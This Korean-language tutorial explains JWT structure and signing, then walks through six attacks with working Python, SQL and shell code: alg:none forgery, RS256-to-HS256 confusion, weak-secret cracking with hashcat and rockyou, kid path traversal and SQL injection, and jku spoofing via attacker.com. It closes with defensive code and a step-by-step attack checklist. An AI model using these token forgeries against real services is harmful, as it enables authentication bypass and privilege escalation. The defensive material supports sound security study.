기본 원리: JWT의 구조와 서명 메커니즘
왜 JWT가 필요한가
HTTP는 무상태(stateless) 프로토콜이다. 서버는 요청과 요청 사이에 클라이언트 정보를 기억하지 않는다. 로그인 후 매 요청마다 "나는 인증된 사용자"임을 증명하려면 두 가지 방법이 있다.
방법 1: 세션(Session)
서버가 세션 스토어(DB/Redis)에 로그인 정보 저장
클라이언트는 세션 ID만 쿠키로 전송
서버가 매 요청마다 DB 조회
단점: DB 조회 오버헤드, 분산 서버 환경에서 세션 공유 문제
방법 2: JWT (JSON Web Token)
서버가 로그인 정보를 토큰에 담아 서명 후 클라이언트에게 전달
클라이언트가 매 요청 시 토큰을 헤더에 포함
서버가 서명 검증만으로 인증 완료 (DB 조회 불필요)
단점: 토큰 탈취 시 즉시 무효화 어려움
Base64URL 인코딩
JWT는 Header.Payload.Signature 세 파트를 각각 Base64URL로 인코딩해 .으로 연결한다.
Base64 vs Base64URL:
Base64: A-Z, a-z, 0-9, +, /, = (패딩)
Base64URL: A-Z, a-z, 0-9, -, _ (URL 안전 문자로 교체, 패딩 제거)
URL에서 + → 공백, / → 경로 구분자로 해석될 수 있으므로
JWT는 URL 파라미터나 HTTP 헤더에서도 안전한 Base64URL 사용
import base64, json
# 인코딩/디코딩
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def b64url_decode(s: str) -> bytes:
# 패딩 복원: Base64는 4의 배수 길이 필요
padding = 4 - len(s) % 4
if padding != 4:
s += '=' * padding
return base64.urlsafe_b64decode(s)
# JWT 수동 디코딩
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SIGNATURE"
parts = token.split('.')
header = json.loads(b64url_decode(parts[0])) # {"alg": "HS256", "typ": "JWT"}
payload = json.loads(b64url_decode(parts[1])) # {"sub": "1234567890", "role": "user"}
HMAC-SHA256 서명 원리
alg: "HS256" 일 때 서명 생성 과정:
서명 대상 = Base64URL(Header) + "." + Base64URL(Payload)
서명 = HMAC-SHA256(서명_대상, 비밀키)
HMAC(Hash-based Message Authentication Code):
1. 비밀키와 메시지를 결합해 두 번 SHA256 해시
2. 결과는 32바이트 고정 길이
3. 비밀키가 없으면 올바른 HMAC을 생성할 수 없음
import hmac, hashlib
def sign_jwt(header_b64: str, payload_b64: str, secret: str) -> str:
message = f"{header_b64}.{payload_b64}".encode()
signature = hmac.new(secret.encode(), message, hashlib.sha256).digest()
return b64url_encode(signature)
def verify_jwt(token: str, secret: str) -> bool:
parts = token.split('.')
expected_sig = sign_jwt(parts[0], parts[1], secret)
# timing-safe 비교 (timing attack 방지)
return hmac.compare_digest(expected_sig, parts[2])
서버 검증 코드는 Header의 alg 필드를 읽어 해당 알고리즘으로 서명을 재계산하고 비교한다. 이 단계에서 여러 취약점이 발생한다.
취약점 1 — alg:none 공격
일부 JWT 라이브러리는 alg: "none"을 처리할 때 서명 검증 자체를 건너뛴다. "서명 없음"이라는 의미로 허용하는 것인데, 공격자가 alg를 none으로 바꾸고 페이로드를 임의로 수정할 수 있다.
import base64, json, hmac, hashlib
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def b64url_decode(s: str) -> bytes:
padding = 4 - len(s) % 4
if padding != 4:
s += '=' * padding
return base64.urlsafe_b64decode(s)
# 원본 토큰 (role: user)
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwicGFzc3dvcmQiOiJoYW5rIiwicm9sZSI6InVzZXIifQ.SIG"
header_b64, payload_b64, sig = original.split('.')
# Payload 수정: role을 admin으로 변조
payload = json.loads(b64url_decode(payload_b64))
payload['role'] = 'admin'
new_payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':')).encode())
# Header 수정: alg를 none으로 변경
new_header = {"alg": "none", "typ": "JWT"}
new_header_b64 = b64url_encode(json.dumps(new_header, separators=(',', ':')).encode())
# 서명 없이 조립 (뒤에 빈 서명 . 필수)
forged_token = f"{new_header_b64}.{new_payload_b64}."
print(forged_token)
# 취약한 서버가 이 토큰을 유효한 것으로 처리하면 role=admin으로 인증 우회
# 대소문자 변형도 시도 (파서마다 다르게 처리)
{"alg": "None"}
{"alg": "NONE"}
{"alg": "nOnE"}
{"alg": ""}
{"alg": null}
취약한 라이브러리 예시: python-jose < 3.3.0, PyJWT < 1.5.0, node-jsonwebtoken (특정 설정)
취약점 2 — RS256 → HS256 알고리즘 혼동
RSA 방식에서는 개인키로 서명하고 공개키로 검증한다. 공개키는 /jwks.json 등으로 공개된다. 취약한 서버는 클라이언트가 보낸 alg를 그대로 신뢰한다.
공격 시나리오:
서버: RS256으로 서명 (개인키 보관, 공개키 공개)
공격자: 공개키를 획득 → HS256의 secret으로 사용 → 위조 토큰 생성
서버: alg=HS256을 그대로 수락 → 공개키를 HMAC secret으로 사용해 검증 → 성공!
이유: 공개키로 HS256 서명한 토큰을 서버에 보내면
서버도 같은 공개키로 HS256 검증을 수행하므로 일치
import jwt
# 1단계: 서버의 RSA 공개키 획득
# GET /.well-known/jwks.json 또는 /jwks.json
# 또는 소스코드, 에러 메시지에서 노출된 경우
public_key = open('server_public.pem').read()
# 2단계: 공개키를 HS256 secret으로 사용해 위조 토큰 생성
forged_payload = {"sub": "1", "role": "admin", "exp": 9999999999}
forged_token = jwt.encode(forged_payload, public_key, algorithm="HS256")
# 서버가 alg 검증 없이 HS256으로도 처리하면 인증 우회
# /jwks.json에서 RSA 공개키의 n, e 값 추출 후 PEM 변환
curl https://target.com/.well-known/jwks.json
# {"keys":[{"kty":"RSA","kid":"key-1","n":"...","e":"AQAB"}]}
# python-rsa로 PEM 변환
python3 -c "
import json, base64
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization
data = json.load(open('jwks.json'))['keys'][0]
n = int.from_bytes(base64.urlsafe_b64decode(data['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(data['e'] + '=='), 'big')
pub = RSAPublicNumbers(e, n).public_key()
print(pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode())
"
취약점 3 — 약한 시크릿 오프라인 크래킹
HS256/HS384/HS512는 HMAC 기반이다. HMAC은 해시 함수이므로 알려진 토큰에서 시크릿을 역추적할 수 있다. 시크릿이 약하면 오프라인 브루트포스가 가능하다.
크래킹 원리:
JWT = Header.Payload.Signature
Signature = HMAC-SHA256(Header.Payload, secret)
공격자가 토큰 전체를 알고 있으므로:
1. 단어 목록에서 후보 secret 추출
2. HMAC-SHA256(Header.Payload, 후보) 계산
3. 기존 Signature와 비교
4. 일치 → 시크릿 발견!
# hashcat으로 JWT 크래킹 (mode 16500)
# 전체 JWT 토큰을 그대로 파일에 저장
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.abc123" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# -a 0: 사전 공격
# -m 16500: JWT (HMAC-SHA256) 모드
# 규칙 기반 변형 (회사명+숫자, 대소문자 변형 등)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt -r rules/best64.rule
# Python으로 직접 크래킹
import hmac, hashlib, base64
def b64url_decode(s: str) -> bytes:
padding = 4 - len(s) % 4
if padding != 4:
s += '=' * padding
return base64.urlsafe_b64decode(s)
def crack_jwt(token: str, wordlist_path: str):
parts = token.split('.')
message = f"{parts[0]}.{parts[1]}".encode()
target_sig = b64url_decode(parts[2])
with open(wordlist_path, encoding='latin-1') as f:
for line in f:
candidate = line.strip()
computed = hmac.new(
candidate.encode(),
message,
hashlib.sha256
).digest()
if hmac.compare_digest(computed, target_sig):
print(f"[!] 시크릿 발견: {candidate}")
return candidate
return None
crack_jwt("eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidXNlciJ9.abc", "rockyou.txt")
흔히 사용되는 취약한 시크릿: secret, password, jwt_secret, your-256-bit-secret, 회사명, 도메인명, 서비스명
취약점 4 — kid (Key ID) 인젝션
kid (Key ID) 헤더는 "이 토큰을 어떤 키로 검증해야 하는지" 서버에 알려준다. 여러 키를 관리하는 서버에서 사용한다. kid 값이 파일 경로나 DB 쿼리에 그대로 사용되면 취약하다.
4a. 경로 탐색 (Path Traversal)
# 서버 내부 동작 (취약):
# secret = open(f"/keys/{kid}").read()
# verify(token, secret)
# kid = "../../dev/null" 이면:
# secret = open("/dev/null").read() = "" (빈 문자열)
# 빈 시크릿으로 서명하면 검증 통과!
import jwt
header_with_kid = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../dev/null"
}
# 빈 시크릿으로 서명
forged = jwt.encode(
{"role": "admin", "exp": 9999999999},
"", # 빈 시크릿
algorithm="HS256",
headers=header_with_kid
)
# 예측 가능한 파일 내용을 시크릿으로 활용
# /proc/sys/kernel/randomize_va_space = "2\n" (대부분의 Linux 시스템)
header = {
"alg": "HS256",
"kid": "/proc/sys/kernel/randomize_va_space"
}
jwt.encode(payload, "2", algorithm="HS256", headers=header)
# /etc/hostname = "ubuntu\n" 등 예측 가능
header = {"alg": "HS256", "kid": "/etc/hostname"}
jwt.encode(payload, "ubuntu", algorithm="HS256", headers=header)
4b. SQL 인젝션 (kid → DB 쿼리)
-- 서버 내부 쿼리 (취약):
SELECT secret FROM keys WHERE kid = '<KID VALUE>'
-- kid에 SQL 인젝션:
' UNION SELECT 'attacker_known_secret' -- -
-- → SELECT secret FROM keys WHERE kid = '' UNION SELECT 'attacker_known_secret' -- -'
-- → 'attacker_known_secret' 반환
-- 공격자는 'attacker_known_secret'으로 서명한 JWT를 생성
-- 서버가 DB에서 'attacker_known_secret'을 얻어 검증 → 성공
malicious_kid = "' UNION SELECT 'attacker_secret' -- -"
header = {"alg": "HS256", "kid": malicious_kid}
token = jwt.encode(
{"role": "admin"},
"attacker_secret", # SQL 인젝션으로 서버가 반환하도록 만든 값
algorithm="HS256",
headers=header
)
취약점 5 — jku / x5u 헤더 스푸핑
jku (JWK Set URL)는 검증 키 세트의 URL을 지정한다. 서버가 이 URL을 검증 없이 요청하면 SSRF + 인증 우회가 된다.
공격 흐름:
1. 공격자가 자신의 RSA 키 페어 생성
2. 공개키를 JWK 형식으로 자신의 서버에 호스팅
3. JWT Header의 jku를 공격자 서버 URL로 설정
4. 공격자 개인키로 JWT 서명
5. 서버가 jku URL을 요청 → 공격자 공개키로 검증 → 서명 일치 → 인증 성공
# 1. 공격자 서버 (attacker.com/jwks.json)에 호스팅:
{
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"n": "ATTACKER_RSA_PUBLIC_KEY_N_VALUE",
"e": "AQAB"
}]
}
# 2. JWT 생성 (공격자 개인키로 RS256 서명)
import jwt
from cryptography.hazmat.primitives import serialization
attacker_private_key = open('attacker_private.pem', 'rb').read()
forged_token = jwt.encode(
{"sub": "1", "role": "admin", "exp": 9999999999},
attacker_private_key,
algorithm="RS256",
headers={
"jku": "https://attacker.com/jwks.json",
"kid": "attacker-key-1"
}
)
# jwt_tool로 자동화
python jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwks.json"
취약점 6 — 만료 미검증 / 클레임 미검증
# ❌ 취약 — 서명 검증 완전히 생략
payload = jwt.decode(token, options={"verify_signature": False})
# exp, aud, iss 모두 무시됨 → 만료된 토큰, 다른 서비스 토큰도 유효
# ❌ 취약 — 서명 검증하지만 exp 무시
payload = jwt.decode(token, secret, algorithms=["HS256"],
options={"verify_exp": False})
# 만료된 오래된 토큰을 그대로 재사용 가능
# ❌ 취약 — 알고리즘 명시 없음
payload = jwt.decode(token, secret)
# algorithms 파라미터 없으면 RS256 → HS256 혼동 공격에 취약
# ✅ 올바른 검증 (PyJWT)
payload = jwt.decode(
token,
secret,
algorithms=["HS256"], # 허용 알고리즘 명시 필수 (none 포함 금지)
options={
"verify_exp": True,
"verify_iat": True,
"require": ["exp", "iat", "sub"] # 필수 클레임 지정
},
audience="my-app", # audience 검증 (다른 서비스 토큰 사용 방지)
issuer="auth.myapp.com" # issuer 검증
)
방어 방법
# ✅ 안전한 JWT 구현 체크리스트
# 1. 알고리즘 명시적 허용 목록
ALLOWED_ALGORITHMS = ["HS256"] # 또는 ["RS256"]
# "none", 빈 문자열, 대소문자 변형 모두 차단
# 2. 강한 시크릿 (최소 256비트 = 32바이트 = 64자 hex)
import secrets
JWT_SECRET = secrets.token_hex(32)
# ✓ 예측 불가능한 난수, 회사명/서비스명 사용 금지
# 3. kid 입력값 검증 — 경로 탐색 및 SQL 인젝션 방지
import re
def get_signing_key(kid: str) -> str:
# 알파벳, 숫자, 하이픈만 허용 (화이트리스트)
if not re.match(r'^[a-zA-Z0-9\-]{1,64}$', kid):
raise ValueError("Invalid key ID")
# DB 쿼리 대신 딕셔너리 조회
return KEY_STORE.get(kid)
# 4. jku/x5u 도메인 화이트리스트
ALLOWED_JKU_HOSTS = {"auth.myapp.com"}
def fetch_jwks(jku_url: str):
from urllib.parse import urlparse
if urlparse(jku_url).hostname not in ALLOWED_JKU_HOSTS:
raise ValueError("Untrusted JKU host")
return requests.get(jku_url, timeout=5).json()
# 5. 토큰 만료 기간 짧게
from datetime import datetime, timedelta
access_token_payload = {
"sub": user_id,
"role": user_role,
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(minutes=15) # Access: 15분
}
refresh_token_payload = {
"sub": user_id,
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(days=7) # Refresh: 7일
}
# 6. 민감 정보는 페이로드에 넣지 말 것
# JWT는 서명(무결성)만 보장, 암호화(기밀성) 아님
# Base64URL 디코딩만으로 페이로드 내용이 노출됨
# 비밀번호, 카드번호, 주민번호 등 절대 포함 금지
추가 방어:
- 토큰 무효화: Redis에 블랙리스트 관리 (로그아웃, 비밀번호 변경 시)
- Refresh Token Rotation: 매번 새 refresh token 발급 (탈취 감지)
- HTTPS 전용 전송 (평문 전송 시 토큰 탈취 가능)
- HttpOnly 쿠키에 저장 (XSS로 JavaScript에서 탈취 방지)
- SameSite=Strict 쿠키 (CSRF 방지)
실전 체크리스트
JWT 취약점 탐색 순서:
1. Base64URL 디코딩해서 alg, kid, jku 헤더 확인 (jwt.io 활용)
2. alg: none 시도 (대소문자 변형 포함: None, NONE, nOnE)
3. 공개키 노출 여부 확인 (/jwks.json, 소스코드, 에러 메시지)
4. hashcat -m 16500 으로 weak secret 크래킹 (rockyou.txt)
5. kid에 경로 탐색 문자열 삽입 (../../dev/null, /etc/hostname)
6. kid에 SQL 인젝션 시도 (' UNION SELECT ...)
7. jku를 공격자 서버로 변경 후 자체 서명 키로 토큰 생성
8. exp 없는 토큰 재사용, 만료된 토큰 재사용 시도
9. RS256 → HS256 알고리즘 혼동 (공개키 확보된 경우)
참고 도구: jwt_tool (자동화 공격), jwt.io (디버깅/디코딩), hashcat mode 16500